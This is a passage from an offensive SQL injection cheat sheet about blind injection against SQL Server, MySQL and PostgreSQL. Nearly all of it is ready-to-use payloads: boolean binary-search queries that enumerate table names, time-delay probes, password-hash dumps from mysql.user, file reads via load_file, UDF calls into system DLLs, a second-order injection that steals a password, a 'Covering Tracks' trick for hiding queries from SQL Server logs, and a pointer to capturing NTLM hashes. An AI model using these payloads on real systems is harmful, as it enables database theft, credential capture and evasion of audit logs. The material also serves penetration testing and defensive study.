In a quite good production application generally you can not see error responses on the page, so you can not extract data through Union attacks or error based attacks. You have to do use Blind SQL Injections attacks to extract data. There are two kind of Blind Sql Injections.
Normal Blind, You can not see a response in the page but you can still determine result of a query from response or HTTP status code
Totally Blind, You can not see any difference in the output in any kind. This can be an injectiona logging function or similar. Not so common though.
In normal blinds you can use if statements or abuse WHERE query in injection (generally easier), in totally blinds you need to use some waiting functions and analyze response times. For this you can use WAIT FOR DELAY '0:0:10' in SQL Server, BENCHMARK() in MySQL,pg_sleep(10) in PostgreSQL, and some PL/SQL tricks in ORACLE.
Real and a bit Complex Blind SQL Injection Attack Sample
This output taken from a real private Blind SQL Injection tool while exploiting SQL Server back ended application and enumerating table names. This requests done for first char of the first table name. SQL queries a bit more complex then requirement because of automation reasons. In we are trying to determine an ascii value of a char via binary search algorithm.
TRUE and FALSE flags mark queries returned true or false.
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78--
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103--
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<103--
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89--
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<89--
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83--
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<83--
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80--
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<80--
Since both of the last 2 queries failed we clearly know table name's first char's ascii value is 80 which means first char is `P`. This is the way to exploit Blind SQL injections by binary search algorithm. Other well known way is reading data bit by bit. Both can be effective in different conditions.
Waiting For Blind SQL Injections
First of all use this if it's really blind, otherwise just use 1/0 style errors to identify difference. Second, be careful while using times more than 20-30 seconds. database API connection or script can be timeout.
WAIT FOR DELAY 'time' (S)
This is just like sleep, wait for spesified time. CPU safe way to make database wait.
WAITFOR DELAY '0:0:10'--
Also you can use fractions like this,
WAITFOR DELAY '0:0:0.51'
Real World Samples
- Are we 'sa' ?
if (select user) = 'sa' waitfor delay '0:0:10'
- ProductID =
1;waitfor delay '0:0:10'--
- ProductID =
1);waitfor delay '0:0:10'--
- ProductID =
1';waitfor delay '0:0:10'--
- ProductID =
1');waitfor delay '0:0:10'--
- ProductID =
1));waitfor delay '0:0:10'--
- ProductID =
1'));waitfor delay '0:0:10'--
BENCHMARK() (M)
Basically we are abusing this command to make MySQL wait a bit. Be careful you will consume web servers limit so fast!
BENCHMARK(howmanytimes, do this)
Real World Samples
- Are we root ? woot!
IF EXISTS (SELECT * FROM users WHERE username = 'root') BENCHMARK(1000000000,MD5(1))
- Check Table exist in MySQL
IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))
pg_sleep(seconds) (P)
Sleep for supplied seconds.
SELECT pg_sleep(10);
Sleep 10 seconds.
Covering Tracks
SQL Server -sp_password log bypass (S)
SQL Server don't log queries which includes sp_password for security reasons(!). So if you add --sp_password to your queries it will not be in SQL Server logs (of course still will be in web server logs, try to use POST if it's possible)
Clear SQL Injection Tests
These tests are simply good for blind sql injection and silent attacks.
product.asp?id=4 (SMO)product.asp?id=5-1product.asp?id=4 OR 1=1
product.asp?name=Bookproduct.asp?name=Bo’%2b’okproduct.asp?name=Bo’ || ’ok (OM)product.asp?name=Book’ OR ‘x’=’x
Some Extra MySQL Notes
- Sub Queries are working only MySQL 4.1+
- Users
SELECT User,Password FROM mysql.user;
SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)='2',BENCHMARK(100000,SHA1(1)),0) User,Password FROMmysql.user WHERE User = ‘root’;SELECT ... INTO DUMPFILE Write query into a new file (can not modify existing files)
- UDF Function
create function LockWorkStation returns integer soname 'user32';select LockWorkStation(); create function ExitProcess returns integer soname 'kernel32';select exitprocess();
SELECT USER();SELECT password,USER() FROM mysql.user;- First byte of admin hash
SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;
- Read File
query.php?user=1+union+select+load_file(0x63...),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
- MySQL Load Data inifile
- By default it’s not avaliable !
create table foo( line blob );
load data infile 'c:/boot.ini' into table foo;
select * from foo;
- More Timing in MySQL
select benchmark( 500000, sha1( 'test' ) );query.php?user=1+union+select+benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1select if( user() like 'root@%', benchmark(100000,sha1('test')), 'false' ); Enumeration data, Guessed Brute Force select if( (ascii(substring(user(),1,1)) >> 7) & 1, benchmark(100000,sha1('test')), 'false' );
Potentially Useful MySQL Functions
MD5()
MD5 Hashing SHA1()
SHA1 Hashing
PASSWORD()ENCODE()COMPRESS()
Compress data, can be great in large binary reading in Blind SQL Injections. ROW_COUNT()SCHEMA()VERSION()
Same as @@version
Second Order SQL Injections
Basically you put an SQL Injection to some place and expect it's unfiltered in another action. This is common hidden layer problem.
Name :
' + (SELECT TOP 1 password FROM users ) + '
Email :
xx@xx.comIf application is using name field in an unsafe stored procedure or function, process etc. then it will insert first users password as your name etc.
Forcing SQL Server to get NTLM Hashes
This attack can help you to get SQL Server user's Windows password of target server, but possibly you inbound connection will be firewalled. Can be very useful internal penetration tests. We force SQL Server to connect our Windows UNC Share and capture data NTLM session with a tool like Cain & Abel.
>
